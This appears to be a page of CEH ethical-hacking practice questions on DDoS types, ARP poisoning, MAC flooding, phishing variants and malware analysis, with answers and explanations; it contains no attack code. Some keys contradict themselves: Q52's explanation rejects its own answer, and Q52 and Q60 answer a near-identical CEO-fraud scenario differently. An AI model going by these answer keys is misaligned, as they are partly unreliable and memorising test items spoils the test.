The trap here is that candidates may confuse ransomware with other malware that causes data loss or system disruption, but the key differentiator is the specific combination of file encryption and ransom demand for the decryption key.

How to eliminate wrong answers

Option A is wrong because spyware is designed to covertly gather information about a user's activities (e.g., keystrokes, browsing habits) and transmit it to a third party, not to encrypt files or demand ransom. Option B is wrong because adware automatically displays or downloads advertisements, often generating revenue for its creator, but it does not encrypt files or extort payment. Option C is wrong because a keylogger records keystrokes to capture sensitive data like passwords, but it lacks the encryption and ransom-demanding functionality characteristic of ransomware.

Practice this question →
51
MCQhard

A security analyst observes the following in a packet capture: a single source IP sends a large number of ICMP echo request packets to the broadcast address of a subnet, with the source IP spoofed to be the target victim. Which type of attack is being executed?

A.Smurf attack
B.SYN flood
C.Ping of Death
D.ICMP flood
AnswerA

A Smurf attack is a classic denial-of-service technique that exploits ICMP echo requests and network broadcast addresses. The attacker sends ICMP echo requests to a network's broadcast address, spoofing the source IP to be the victim's address. All hosts on that broadcast network then reply to the victim's spoofed IP, creating a massive flood of ICMP echo replies that overwhelms the victim's network bandwidth and resources.

Why this answer

The Smurf attack exploits IP broadcast addressing and ICMP. The attacker sends a large volume of ICMP echo request packets with the source IP spoofed to be the victim's IP address, directed to the subnet's broadcast address. Every host on that subnet replies to the victim, overwhelming it with ICMP echo reply traffic, effectively amplifying the attack.

Exam trap

The trap here is confusing a Smurf attack with a standard ICMP flood, but the key differentiator is the use of a broadcast address and IP spoofing to achieve amplification, which is unique to the Smurf attack.

How to eliminate wrong answers

Option B is wrong because a SYN flood targets the TCP three-way handshake by sending numerous SYN packets without completing the handshake, exhausting server resources; it does not use ICMP or broadcast addresses. Option C is wrong because a Ping of Death involves sending an oversized ICMP packet (greater than 65535 bytes) to cause a buffer overflow, not leveraging broadcast amplification or spoofed source IPs. Option D is wrong because an ICMP flood is a direct denial-of-service attack where the attacker sends a high volume of ICMP packets from their own IP (or a botnet) to saturate bandwidth, but it does not use broadcast amplification or spoof the victim's IP as the source.

Practice this question →
52
MCQmedium

An employee receives an email that appears to be from the company's CEO, requesting an urgent wire transfer to a vendor. The email address is slightly different from the CEO's actual address. Which type of social engineering attack is this?

A.Phishing
B.Vishing
C.Whaling
D.Spear phishing
AnswerD

This is spear phishing because the email is crafted specifically for that employee, using the CEO's identity to add urgency and authority. The targeted nature and the spoofed email address are hallmarks of spear phishing.

Why this answer

Spear phishing is a targeted social engineering attack aimed at a specific individual or organization. In this scenario, the email is personalized to appear from the CEO but targets an employee, making it spear phishing. Unlike whaling, which targets high-profile executives, spear phishing can target any individual.

The slightly spoofed email address and urgent request for a wire transfer are common spear phishing tactics, exploiting trust and authority to trick the victim.

Exam trap

In the EC-CEH exam, candidates often confuse whaling with spear phishing because both are targeted. However, the key distinction is the target's level: whaling targets top executives (C-suite, board members), while spear phishing targets any individual. Here, since the recipient is an employee, it is spear phishing, not whaling.

How to eliminate wrong answers

Option A is wrong because phishing is a broad, untargeted attack that sends mass emails to many users, often with generic content, not a personalized request from a specific executive. Option B is wrong because vishing (voice phishing) uses phone calls or voice messages, not email, to deceive victims. Option D is wrong because spear phishing targets a specific individual or organization but does not necessarily focus on high-ranking executives; whaling is a subtype of spear phishing that specifically targets senior management.

Practice this question →
53
MCQmedium

A security analyst notices that the ARP cache on a workstation contains multiple entries for the same IP address with different MAC addresses. Which attack is likely occurring?

A.ARP poisoning
B.Session hijacking
C.DNS spoofing
D.MAC flooding
AnswerA

ARP poisoning causes multiple MAC entries for one IP due to forged ARP replies.

Why this answer

ARP poisoning (also called ARP spoofing) occurs when an attacker sends forged ARP replies to a network, associating their own MAC address with the IP address of a legitimate host (e.g., the default gateway). The workstation's ARP cache then stores multiple MAC addresses for the same IP, as the cache is updated with each fraudulent reply. This allows the attacker to intercept, modify, or block traffic intended for that IP, enabling man-in-the-middle attacks.

Exam trap

The trap here is confusing ARP poisoning with MAC flooding; candidates often pick MAC flooding because both involve MAC addresses, but MAC flooding targets switch CAM tables, not workstation ARP caches, and does not produce multiple MAC entries for the same IP on a single host. CEH exam questions often test this distinction.

How to eliminate wrong answers

Option B (Session hijacking) is wrong because session hijacking typically exploits an active TCP session by stealing session tokens or cookies, not by manipulating ARP cache entries. Option C (DNS spoofing) is wrong because DNS spoofing corrupts DNS resolver caches with false IP-to-domain mappings, not MAC-to-IP mappings in the ARP cache. Option D (MAC flooding) is wrong because MAC flooding overwhelms a switch's CAM table with fake MAC addresses to force it into hub mode, causing it to flood traffic out all ports; it does not create multiple ARP entries for the same IP on a single workstation.

Practice this question →
54
MCQmedium

A security team discovers a file named 'svchost.exe' in a user's Temp folder. The file is signed by 'Microsoft Corporation' but the digital signature validation fails. Which analysis method should be used FIRST to determine if it's malicious?

A.Upload to VirusTotal
B.Dynamic analysis in a sandbox
C.Static analysis using strings and PEiD
D.Run the file on a production system to observe behavior
AnswerC

Static analysis, particularly utilizing tools like `strings` and PEiD, is the safest and most appropriate initial step for examining a suspicious executable without execution. The `strings` utility can extract human-readable text from the binary, revealing potential commands, URLs, or error messages that often indicate malicious intent. PEiD (PE Identifier) helps analysts identify the compiler, packer, or cryptor used, which is crucial for understanding obfuscation techniques and guiding further analysis, all while minimizing risk.

Why this answer

Static analysis using tools like strings and PEiD should be performed first to quickly inspect the file's metadata, embedded strings, and packer information without executing it. Since the digital signature validation fails despite claiming to be from Microsoft, static analysis can reveal anomalies such as unusual section names, suspicious imports, or packed code that indicate tampering. This non-execution approach is safe and efficient for initial triage, avoiding the risks of dynamic analysis or running the file.

Exam trap

The CEH exam often tests that candidates mistakenly choose dynamic analysis (sandbox) as the first step, but the correct order is always static analysis first to assess risk and avoid executing unknown code prematurely.

How to eliminate wrong answers

Option A is wrong because uploading to VirusTotal is a secondary step that relies on static analysis results to interpret detection ratios, and it may expose sensitive data or be blocked by corporate policy. Option B is wrong because dynamic analysis in a sandbox should not be the first step; it requires prior static analysis to ensure the sample is safe to execute and to configure the sandbox appropriately. Option D is wrong because running the file on a production system is extremely dangerous and violates fundamental security practices, as it could trigger malware execution and compromise the environment.

Practice this question →
55
Multi-Selecteasy

Which TWO of the following are types of malware analysis? (Select two.)

Select 2 answers
A.Static analysis
B.Memory analysis
C.Signature analysis
D.Dynamic analysis
E.Heuristic analysis
AnswersA, D

Static analysis involves dissecting malware binaries without executing them, examining the code, structure, and embedded resources. This process often includes disassembling or decompiling the executable, extracting strings, analyzing PE headers, and identifying imported/exported functions to infer potential malicious capabilities. Its primary goal is to understand the malware's design, identify obfuscation techniques, and predict its behavior before it ever runs, providing crucial initial insights into its functionality.

Why this answer

Static analysis involves examining malware without executing it, such as inspecting file headers, strings, and disassembled code. Dynamic analysis executes the malware in a controlled sandbox to observe its runtime behavior, including network traffic, registry changes, and process creation. Both are fundamental malware analysis methodologies recognized in CEH.

Exam trap

CEH often tests the distinction between analysis types (static/dynamic) and detection methods (signature/heuristic), causing candidates to confuse detection techniques with analysis methodologies.

Practice this question →
56
MCQmedium

An organization wants to mitigate the impact of a DDoS attack that uses large volumes of UDP traffic to exhaust bandwidth. Which of the following techniques would be MOST effective?

A.Rate limiting on all ports
B.Deploying a scrubbing center
C.Blocking all UDP traffic
D.Implementing SYN cookies
AnswerB

Deploying a scrubbing center is a highly effective strategy for mitigating DDoS attacks, particularly those involving high-volume UDP floods. These specialized facilities act as an intermediary, diverting all incoming traffic through advanced analysis systems that inspect packet headers and payloads for known attack patterns and anomalies. Malicious traffic is then filtered out, while legitimate requests are forwarded to the organization's infrastructure, ensuring business continuity without disrupting genuine user access.

Why this answer

A scrubbing center is the most effective technique because it filters out malicious UDP traffic from legitimate traffic by analyzing packet characteristics, such as source IP reputation and payload patterns, before forwarding clean traffic to the target network. This approach preserves legitimate UDP services (e.g., DNS, VoIP) while absorbing volumetric attacks, unlike simpler methods that may block all UDP or fail to scale.

Exam trap

The trap here is that candidates often confuse rate limiting as a universal solution, but it fails against volumetric UDP floods because it cannot differentiate attack traffic from legitimate UDP services, whereas a scrubbing center provides intelligent traffic filtering at scale.

How to eliminate wrong answers

Option A is wrong because rate limiting on all ports would also throttle legitimate UDP traffic (e.g., DNS queries, streaming media) and cannot distinguish between attack and benign packets, leading to service degradation. Option C is wrong because blocking all UDP traffic would disrupt critical services like DNS resolution, DHCP, and VoIP, effectively causing a self-inflicted denial of service. Option D is wrong because SYN cookies are a TCP-specific mechanism designed to mitigate SYN flood attacks by encoding connection state in the initial sequence number; they have no effect on UDP traffic, which is connectionless.

Practice this question →
57
MCQhard

During a penetration test, a tester discovers that the target switch's MAC address table is full, causing it to flood traffic out all ports. The tester then captures network traffic using Wireshark on the same segment. Which attack was the tester performing?

A.DNS spoofing
B.MAC flooding
C.Session hijacking
D.ARP poisoning
AnswerB

MAC flooding fills the switch's MAC address table, causing it to broadcast frames.

Why this answer

MAC flooding. When a switch's MAC address table is full, it can no longer learn new MAC addresses and enters a fail-open state, flooding all incoming frames out every port except the ingress port. This allows the tester to capture traffic destined for other hosts on the same VLAN by placing their NIC in promiscuous mode and using Wireshark, effectively performing a MAC flooding attack to turn the switch into a hub-like device.

Exam trap

The EC-CEH exam often tests the distinction between MAC flooding and ARP poisoning, where candidates mistakenly choose ARP poisoning because both involve traffic capture, but the key differentiator is that MAC flooding exploits a full CAM table, while ARP poisoning manipulates ARP caches without filling the switch's MAC table.

How to eliminate wrong answers

Option A is wrong because DNS spoofing involves corrupting DNS responses to redirect traffic to a malicious server, not exploiting a full MAC address table. Option C is wrong because session hijacking targets an active TCP session or application session token to take over an authenticated session, not by flooding a switch's CAM table. Option D is wrong because ARP poisoning (ARP spoofing) manipulates ARP caches to associate a malicious MAC with a legitimate IP, causing traffic to be sent to the attacker; while it also enables traffic capture, it does not rely on filling the switch's MAC address table to capacity.

Practice this question →
58
Multi-Selectmedium

Which TWO tools are commonly used for ARP poisoning attacks?

Select 2 answers
A.Wireshark
B.Cain & Abel
C.tcpdump
D.Ettercap
E.Nmap
AnswersB, D

Cain & Abel is a well-known password recovery and network sniffing tool primarily designed for Microsoft Windows operating systems. Among its extensive features, it specifically incorporates robust ARP poisoning functionalities, allowing an attacker to perform Man-in-the-Middle (MITM) attacks by sending forged ARP replies to redirect network traffic. This enables the interception of data, including credentials, between targeted hosts on a local area network.

Why this answer

Cain & Abel and Ettercap are both dedicated ARP poisoning tools that manipulate the ARP cache of target devices to intercept traffic on a local network. Cain & Abel performs ARP poisoning to enable man-in-the-middle attacks, while Ettercap uses ARP spoofing to redirect packets between hosts. Both tools are explicitly listed in CEH exam objectives for network sniffing and MITM attacks.

Exam trap

The trap here is that candidates often confuse passive sniffing tools (like Wireshark or tcpdump) with active attack tools, assuming any network tool can perform ARP poisoning, but only tools specifically designed to send forged ARP packets (like Cain & Abel and Ettercap) can execute the attack.

Practice this question →
59
MCQmedium

Which type of malware is characterized by modifying its own code to evade signature-based detection, often changing its appearance each time it replicates?

A.Polymorphic virus
B.Trojan horse
C.Macro virus
D.Boot sector virus
AnswerA

A polymorphic virus is specifically designed to evade detection by antivirus software through continuous modification of its own code. Each new infection generates a unique, encrypted version of the virus body, coupled with a varying decryption routine. This constant mutation of its signature makes it extremely challenging for traditional signature-based detection systems to identify and quarantine, directly aligning with the characteristic of modifying its own code.

Why this answer

A polymorphic virus is designed to change its code signature each time it replicates, using a mutation engine to generate new decryption routines or code patterns. This behavior allows it to evade signature-based detection by antivirus software, which relies on static patterns to identify threats.

Exam trap

A common trap in CEH exams is confusing polymorphic malware (which changes its decryption routine) with metamorphic malware (which rewrites its entire code). Polymorphic malware uses a mutation engine but retains a fixed code body, while metamorphic malware changes its entire code structure.

How to eliminate wrong answers

Option B is wrong because a Trojan horse disguises itself as legitimate software to trick users into installing it, but it does not inherently modify its own code to evade detection. Option C is wrong because a macro virus infects documents by embedding malicious macros, and while it can replicate, it typically does not change its code signature polymorphically. Option D is wrong because a boot sector virus infects the master boot record of a storage device and does not employ code mutation to alter its appearance on each replication.

Practice this question →
60
MCQmedium

An organization receives an email that appears to be from the CEO, urgently requesting that the recipient wire funds to a new vendor. The email contains the CEO's name and title but the sender address is slightly misspelled. Which type of social engineering attack is this?

A.Pretexting
B.Whaling
C.Vishing
D.Spear phishing
AnswerB

Whaling is a highly targeted form of phishing specifically aimed at senior executives, C-level management, or other high-profile individuals within an organization. These attacks are meticulously crafted and personalized, often leveraging publicly available information to create convincing emails that appear to come from a legitimate, trusted source, such as a legal firm or a high-ranking internal contact. The objective is typically to trick the executive into authorizing large wire transfers, revealing sensitive corporate data, or granting access to critical systems. The scenario describes an email likely targeting a high-level individual, making whaling the most precise classification.

Why this answer

This is a whaling attack because the attacker impersonates a high-profile executive (the CEO) to deceive the recipient into transferring funds. Whaling is a subtype of spear phishing that specifically targets individuals with authority or financial access, often by spoofing a senior executive's email address. In this scenario, the CEO's identity is used to exploit trust and urgency, making it a whaling attack.

Exam trap

The trap here is that candidates may choose 'Spear phishing' because they recognize it as a targeted email attack, but fail to distinguish that 'Whaling' is the specific subtype reserved for high-level executives, which is the key differentiator in CEH exam questions.

How to eliminate wrong answers

Option A (Pretexting) is wrong because pretexting involves creating a fabricated scenario or false identity to obtain information, not sending a spoofed email impersonating a specific executive. Option C (Vishing) is wrong because vishing is a voice-based social engineering attack conducted over the phone (VoIP), not via email. Option D (Spear phishing) is wrong because while this attack is a type of spear phishing, the term 'whaling' is the more specific and correct classification when the target is a high-ranking executive like the CEO.

Practice this question →
61
MCQeasy

A security analyst receives an alert indicating that a workstation is sending outbound connections to a known malicious IP address. The analyst suspects a Trojan. Which tool is BEST for performing dynamic analysis of the suspicious binary?

A.VirusTotal
B.Sandbox
C.String analysis
D.PEiD
AnswerB

A sandbox provides a secure, isolated environment where suspicious binaries can be executed and observed without risking the host system. It meticulously records all dynamic behaviors, including file system modifications, registry changes, network connections, process injections, and API calls. This controlled execution allows security analysts to understand the malware's true intent and operational capabilities in real-time.

Why this answer

Dynamic analysis involves executing the suspicious binary in a controlled environment to observe its runtime behavior, such as outbound connections, registry changes, and file system modifications. A sandbox provides an isolated environment specifically designed for this purpose, allowing the analyst to safely monitor the Trojan's actions without risking the production network. This makes it the best choice for analyzing the workstation's outbound connections to a known malicious IP address.

Exam trap

EC-Council often tests the distinction between static and dynamic analysis, trapping candidates who confuse tools like VirusTotal or PEiD (static) with sandboxing (dynamic) when the question explicitly requires observing runtime behavior such as outbound connections.

How to eliminate wrong answers

Option A is wrong because VirusTotal is a static analysis tool that checks file hashes against known malware signatures using multiple antivirus engines; it does not execute the binary to observe runtime behavior like outbound connections. Option C is wrong because string analysis is a static analysis technique that extracts readable text from the binary (e.g., IP addresses, API calls) but does not involve execution, so it cannot reveal dynamic behavior such as actual network connections. Option D is wrong because PEiD is a static analysis tool used to detect packers, compilers, or cryptors in PE files; it does not execute the binary and cannot observe runtime activities like outbound connections.

Practice this question →
62
Multi-Selectmedium

Which TWO of the following are examples of application-layer DDoS attacks? (Choose two.)

Select 2 answers
A.UDP flood
B.Slowloris
C.HTTP flood
D.SYN flood
E.Smurf attack
AnswersB, C

Slowloris is an application-layer attack that consumes server resources by keeping many connections open.

Why this answer

Slowloris is an application-layer DDoS attack that works by opening multiple HTTP connections to a target web server and keeping them alive indefinitely by sending partial HTTP requests. This exhausts the server's connection pool, preventing legitimate users from connecting. It specifically targets the HTTP protocol at Layer 7, making it an application-layer attack.

Exam trap

The trap here is that candidates often confuse transport-layer attacks (like SYN floods and UDP floods) with application-layer attacks, because both can cause denial of service, but only application-layer attacks target specific protocols like HTTP, DNS, or SMTP at Layer 7.

Practice this question →
63
MCQhard

A forensic analyst examines a system infected with malware that displays ransomware notes and encrypts files. The analyst uses a sandbox to observe behavior. During analysis, the malware contacts a C2 server and downloads additional payloads. Which type of malware analysis is being performed?

A.Dynamic analysis
B.Static analysis
C.Network analysis
D.Code analysis
AnswerA

Dynamic analysis involves executing the malware within a controlled, isolated environment, such as a sandbox or virtual machine, to observe its real-time behavior. This method allows forensic analysts to meticulously document system changes, process interactions, file modifications, and network communications initiated by the malicious code as it runs. It is crucial for understanding the full operational impact and capabilities of sophisticated threats.

Why this answer

Dynamic analysis involves executing the malware in a controlled environment (sandbox) to observe its runtime behavior, such as contacting a C2 server and downloading additional payloads. This contrasts with static analysis, which examines the code without execution. The scenario explicitly describes observing behavior during execution, confirming dynamic analysis.

Exam trap

EC-CEH often tests the distinction between dynamic and static analysis by describing runtime behavior (like C2 contact) and expecting candidates to recognize that only dynamic analysis involves executing the sample in a sandbox. A common mistake is to select 'network analysis' because the malware contacts a C2 server, but network analysis is a subset of dynamic analysis; the question specifically emphasizes sandbox execution.

How to eliminate wrong answers

Option B is wrong because static analysis examines the malware's code or structure without executing it, such as disassembling or analyzing file headers, not observing runtime behavior like C2 communication. Option C is wrong because network analysis focuses specifically on capturing and inspecting network traffic (e.g., using Wireshark) to identify communication patterns, but the question describes a broader behavioral observation in a sandbox, not just network traffic. Option D is wrong because code analysis is a subset of static analysis that involves reviewing source or binary code, not executing the malware to observe its actions.

Practice this question →
64
MCQmedium

An organization experiences a DDoS attack where the attacker sends a flood of UDP packets to a server, causing it to become unresponsive. The packets appear to come from many different source IP addresses and are directed to random high-numbered ports. Which type of DDoS attack is this?

A.ICMP flood
B.UDP flood
C.SYN flood
D.Smurf attack
AnswerB

A UDP flood attack involves sending a high volume of User Datagram Protocol (UDP) datagrams to random high-numbered ports on a target server. The server then attempts to identify which application, if any, is listening on each port. When no application is found, the server typically generates an ICMP "Destination Unreachable" packet in response. This continuous process consumes significant server resources, including CPU cycles and outgoing network bandwidth, leading to service degradation or denial for legitimate users, precisely matching the described scenario.

Why this answer

A UDP flood attack works by overwhelming a target server with a high volume of UDP packets sent to random high-numbered ports. The server checks each port for a listening application, and when none is found, it responds with ICMP Destination Unreachable messages, consuming CPU and bandwidth until the server becomes unresponsive. The use of spoofed source IP addresses makes it difficult to filter the attack traffic based on source alone.

Exam trap

The trap here is that candidates confuse a UDP flood with a SYN flood because both involve flooding and spoofed IPs, but the key differentiator is the transport layer protocol (UDP vs. TCP) and the use of random high-numbered ports versus specific TCP ports.

How to eliminate wrong answers

Option A is wrong because an ICMP flood uses ICMP echo request (ping) packets, not UDP packets, and targets the network layer rather than random high-numbered UDP ports. Option C is wrong because a SYN flood exploits the TCP three-way handshake by sending incomplete SYN segments, not UDP packets, and targets specific TCP ports. Option D is wrong because a Smurf attack sends ICMP echo requests to a network's broadcast address with a spoofed victim IP, causing all hosts to reply to the victim, which is an ICMP-based amplification attack, not a direct UDP flood to random ports.

Practice this question →
65
MCQmedium

A security team wants to mitigate a DNS amplification DDoS attack. Which of the following techniques would be MOST effective in preventing the attack from leveraging open DNS resolvers?

A.Deploy a web application firewall
B.Disable recursion on DNS servers for external queries
C.Use anycast routing for DNS servers
D.Implement rate limiting on DNS responses
AnswerB

Disabling recursion on DNS servers for external queries is the most effective direct mitigation against DNS amplification attacks. By configuring a DNS server to only perform recursive lookups for internal, trusted clients and to only respond authoritatively for its own zones to external requests, it prevents the server from acting as an open recursive resolver. This crucial configuration change eliminates the server's ability to be exploited by attackers to amplify small queries into large responses directed at a victim, thereby removing it as a participant in such attacks.

Why this answer

Disabling recursion on DNS servers for external queries prevents them from acting as open resolvers. In a DNS amplification attack, the attacker sends a small query with a spoofed source IP to an open resolver, which then sends a large response to the victim. By blocking recursion for external clients, the server will only answer for domains it authoritatively hosts, thus eliminating the amplification vector.

Exam trap

The trap here is that candidates confuse rate limiting or anycast as effective defenses, but the CEH exam specifically tests that the root cause of DNS amplification is open recursion, and disabling recursion is the most direct mitigation.

How to eliminate wrong answers

Option A is wrong because a web application firewall (WAF) operates at Layer 7 and is designed to filter HTTP/HTTPS traffic, not DNS queries (UDP port 53), so it cannot mitigate DNS amplification attacks. Option C is wrong because anycast routing improves availability and distributes traffic across multiple DNS servers but does not prevent them from being used as open resolvers; an anycast server with recursion enabled can still be exploited. Option D is wrong because rate limiting on DNS responses reduces the volume of traffic from a single server but does not stop the attacker from using many open resolvers to amplify traffic; the core vulnerability is recursion, not response rate.

Practice this question →
66
MCQeasy

A user reports that their system has become very slow and numerous pop-up ads appear even when browsing is not active. Which type of malware is MOST likely installed?

A.Adware
B.Ransomware
C.Keylogger
D.Spyware
AnswerA

Adware is specifically designed to generate revenue by displaying unsolicited advertisements, often in the form of pop-up windows, banners, or browser redirects. This constant barrage of ads, coupled with the background processes required to deliver them, significantly consumes system resources like CPU, RAM, and network bandwidth. Consequently, users experience a noticeable degradation in system performance, manifesting as general slowness and unresponsiveness, directly aligning with the reported symptoms.

Why this answer

Adware is designed to automatically deliver advertisements, often generating pop-up ads even when the browser is not active, and it consumes system resources, causing slowdowns. The user's symptoms—persistent pop-ups and performance degradation—are classic indicators of adware infection, as adware typically runs background processes to fetch and display ads.

Exam trap

Candidates often confuse adware with spyware, but the key distinguishing factor is the presence of pop-up ads even when no browser is active. Adware is designed to display advertisements, while spyware primarily focuses on covert information gathering.

How to eliminate wrong answers

Option B (Ransomware) is wrong because ransomware encrypts files or locks the system to demand payment, not to display pop-up ads or cause general slowness without a ransom note. Option C (Keylogger) is wrong because keyloggers stealthily capture keystrokes to steal credentials or sensitive data, and they do not generate visible pop-up ads or noticeably slow the system. Option D (Spyware) is wrong because spyware covertly collects information (e.g., browsing habits, personal data) without typically showing pop-up ads; while some spyware may include adware components, the primary symptom described—numerous pop-ups—is the hallmark of adware, not pure spyware.

Practice this question →
67
MCQhard

A penetration tester uses a tool to perform a MAC flooding attack. What is the intended result of this attack?

A.Read all network traffic by turning the switch into a hub
B.Modify the MAC address of the attacker's NIC
C.Cause a denial of service on the switch
D.Poison the ARP cache of the target hosts
AnswerA

MAC flooding makes the switch act like a hub, forwarding all frames to all ports.

Why this answer

A MAC flooding attack exploits the limited size of a switch's Content Addressable Memory (CAM) table. By sending thousands of packets with random source MAC addresses, the attacker fills the CAM table, forcing the switch to fail open and broadcast all incoming frames to every port, effectively turning it into a hub. This allows the attacker to capture network traffic that would normally be isolated to a specific port.

Exam trap

In the EC-CEH exam, the distinction between MAC flooding (which targets the switch's CAM table) and ARP poisoning (which targets host ARP caches) is important, so candidates mistakenly choose 'Poison the ARP cache' because both involve MAC addresses and network sniffing.

How to eliminate wrong answers

Option B is wrong because modifying the MAC address of the attacker's NIC is a separate technique (MAC spoofing) used to impersonate another device, not the goal of a MAC flooding attack. Option C is wrong because while a MAC flood can cause resource exhaustion, the primary intended result is to read all network traffic by forcing the switch into a fail-open state, not simply to cause a denial of service. Option D is wrong because ARP cache poisoning is a different attack (ARP spoofing) that manipulates IP-to-MAC mappings on hosts, whereas MAC flooding targets the switch's CAM table.

Practice this question →
68
MCQmedium

A penetration tester successfully predicts the TCP sequence numbers of a target and sends crafted packets to impersonate a trusted host. Which type of attack is this?

A.ARP poisoning
B.TCP sequence prediction attack
C.TCP session hijacking
D.DNS spoofing
AnswerC

TCP session hijacking is an attack where a malicious actor takes control of an already established TCP session between two legitimate communicating parties. By successfully predicting the next valid TCP sequence number, the attacker can inject their own packets into the data stream, impersonating one of the legitimate hosts. This allows the attacker to send commands, receive data, or terminate the session, effectively seizing control without needing to authenticate.

Why this answer

C is correct because the attacker predicts TCP sequence numbers to inject crafted packets, effectively impersonating a trusted host and taking over an established TCP session. This is the defining mechanism of TCP session hijacking, where the attacker spoofs the source IP and uses the predicted sequence numbers to insert malicious data or commands into the ongoing session.

Exam trap

The trap here is that candidates confuse the technique (TCP sequence prediction) with the full attack (TCP session hijacking), leading them to select option B instead of C, even though the question explicitly describes the complete act of impersonation and session takeover.

How to eliminate wrong answers

Option A is wrong because ARP poisoning involves sending forged ARP replies to link an attacker's MAC address with the IP of a legitimate host, enabling on-path attacks like sniffing, but it does not involve predicting TCP sequence numbers or impersonating a trusted host at the transport layer. Option B is wrong because TCP sequence prediction attack is a technique used to guess or calculate the next sequence number, but it is not the final attack itself; it is a step within a larger attack like TCP session hijacking. Option D is wrong because DNS spoofing corrupts DNS responses to redirect traffic to a malicious server, which operates at the application layer and does not require TCP sequence number prediction or session impersonation.

Practice this question →
69
Multi-Selecthard

Which THREE of the following are effective techniques to prevent ARP poisoning attacks? (Choose three.)

Select 3 answers
A.Enabling DHCP snooping
B.Configuring port security on switches
C.Using static ARP entries
D.Disabling STP on all ports
E.Implementing Dynamic ARP Inspection (DAI)
AnswersB, C, E

Configuring port security on switches is an effective technique because it limits the number of MAC addresses that can be learned on a specific switch port. By restricting a port to a single, legitimate MAC address or a small, defined set, it prevents an attacker from introducing a new, spoofed MAC address to impersonate another device or the gateway, thereby mitigating ARP poisoning attempts that rely on MAC address changes.

Why this answer

Configuring port security on switches is effective against ARP poisoning because it limits the number of MAC addresses allowed on a port, preventing an attacker from flooding the network with spoofed MAC addresses. By restricting the port to a single or limited set of MAC addresses, it stops unauthorized devices from injecting fake ARP replies. This is a Layer 2 security control that directly mitigates the ability to perform ARP cache poisoning at the access edge.

Exam trap

The trap here is that candidates often confuse DHCP snooping as a direct ARP poisoning prevention technique, when in fact it only provides the binding table that DAI uses, and without DAI enabled, DHCP snooping alone does not inspect or block malicious ARP packets.

Practice this question →
70
MCQmedium

During a social engineering engagement, an attacker calls an employee pretending to be from IT support and asks for their password to perform a system update. Which social engineering technique is being employed?

A.Phishing
B.Pretexting
C.Quid pro quo
D.Vishing
AnswerB

Pretexting involves the creation of a convincing, fabricated scenario or "pretext" to manipulate a target into revealing confidential information or performing a specific action. In this type of social engineering engagement, the attacker constructs a plausible backstory, such as impersonating IT support or a vendor, to establish trust and extract desired details directly from the target over the phone. This method precisely aligns with an attacker calling someone with a specific, made-up story to achieve their objective.

Why this answer

Pretexting is the correct answer because the attacker fabricates a scenario (pretext) by impersonating IT support to create a false sense of authority and urgency, thereby manipulating the employee into revealing their password. This technique relies on a fabricated story rather than a technical exploit, distinguishing it from other social engineering methods.

Exam trap

The trap here is that candidates often confuse pretexting with vishing because both involve phone calls, but the CEH exam distinguishes them by the presence of a fabricated scenario (pretext) versus a simple voice-based phishing attempt without an elaborate backstory.

How to eliminate wrong answers

Option A (Phishing) is wrong because phishing typically involves sending deceptive emails or messages with malicious links or attachments to harvest credentials, not a direct phone call with a fabricated identity. Option C (Quid pro quo) is wrong because quid pro quo involves offering a service or benefit in exchange for information (e.g., 'I'll fix your computer if you give me your password'), whereas the attacker here simply asks for the password under a false pretense without offering anything in return. Option D (Vishing) is wrong because vishing is voice phishing that uses phone calls to trick victims into revealing sensitive information, but it is a subset of phishing and does not inherently involve the elaborate role-playing and fabricated scenario that defines pretexting; the key distinction is that pretexting builds a detailed false identity and context, while vishing may be more direct and less story-driven.

Practice this question →
71
MCQmedium

During a penetration test, a tester uses a tool to perform ARP spoofing to intercept traffic between two hosts on the same subnet. Which tool is most commonly associated with this technique?

A.Wireshark
B.Ettercap
C.Metasploit
D.Nmap
AnswerB

Ettercap is a comprehensive suite specifically designed for performing man-in-the-middle (MITM) attacks on local area networks, with a core specialization in ARP spoofing (also known as ARP poisoning). It actively manipulates the ARP tables of target hosts and the network gateway by sending forged ARP replies, redirecting traffic through the attacker's machine. This capability enables various MITM activities, including sniffing, content filtering, and session hijacking, making it the ideal tool for actively performing such an attack during a penetration test.

Why this answer

Ettercap is the correct answer because it is a dedicated suite for man-in-the-middle attacks on LAN, with built-in ARP spoofing (poisoning) capabilities. It actively sends forged ARP replies to associate the tester's MAC address with the IP address of the target hosts, allowing interception of traffic between them on the same subnet. Other tools like Wireshark, Metasploit, and Nmap are not primarily designed for ARP spoofing.

Exam trap

The trap here is that candidates confuse passive sniffing tools like Wireshark with active interception tools, assuming that any packet capture tool can also perform ARP spoofing, but Wireshark lacks the injection capability required for this attack.

How to eliminate wrong answers

Option A is wrong because Wireshark is a network protocol analyzer (packet sniffer) that captures and inspects traffic passively; it does not inject or spoof ARP packets to intercept traffic. Option C is wrong because Metasploit is an exploitation framework focused on delivering payloads and post-exploitation modules; while it has auxiliary modules for ARP spoofing, it is not the most commonly associated tool for this specific technique. Option D is wrong because Nmap is a network discovery and security scanning tool that uses ARP pings for host discovery but does not perform ARP spoofing to intercept traffic between hosts.

Practice this question →
72
MCQhard

An attacker intercepts a TCP session between a client and a server. By analyzing sequence numbers, the attacker successfully predicts the next sequence number and injects malicious packets. Which attack is being performed?

A.DNS spoofing
B.ARP poisoning
C.Man-in-the-middle
D.Session hijacking
AnswerD

Session hijacking is the act of taking control of an already authenticated TCP session between two communicating parties. This is typically achieved by an attacker successfully predicting or sniffing the correct TCP sequence numbers (acknowledgment and sequence numbers) that the legitimate client and server expect. By injecting packets with the correct sequence numbers, the attacker can impersonate the client or server, effectively taking over the session and issuing commands or receiving data without the original client's knowledge.

Why this answer

The attacker is actively intercepting a TCP session, predicting sequence numbers, and injecting malicious packets, which is the definition of TCP session hijacking. This attack exploits the lack of authentication in TCP connections, where the attacker can take over an established session by correctly guessing or obtaining the next sequence number.

Exam trap

The trap here is that candidates confuse session hijacking with a generic man-in-the-middle attack, but the key differentiator is the specific act of predicting TCP sequence numbers to inject packets, which is a hallmark of session hijacking, not just passive interception.

How to eliminate wrong answers

Option A is wrong because DNS spoofing involves corrupting DNS responses to redirect traffic to a malicious server, not intercepting and injecting packets into an existing TCP session. Option B is wrong because ARP poisoning manipulates the ARP cache to associate an attacker's MAC address with a legitimate IP address, enabling local network interception, but it does not involve TCP sequence number prediction or packet injection into an established session. Option C is wrong because while a man-in-the-middle attack can involve interception, the specific technique described—predicting TCP sequence numbers to inject packets—is a form of session hijacking, not a generic MITM; MITM typically requires active relay of traffic, not just sequence number prediction.

Practice this question →
73
MCQmedium

A penetration tester needs to perform ARP poisoning to intercept traffic between two hosts on the same subnet. Which tool would be the most appropriate choice for this task?

A.tcpdump
B.Ettercap
C.Nmap
D.Wireshark
AnswerB

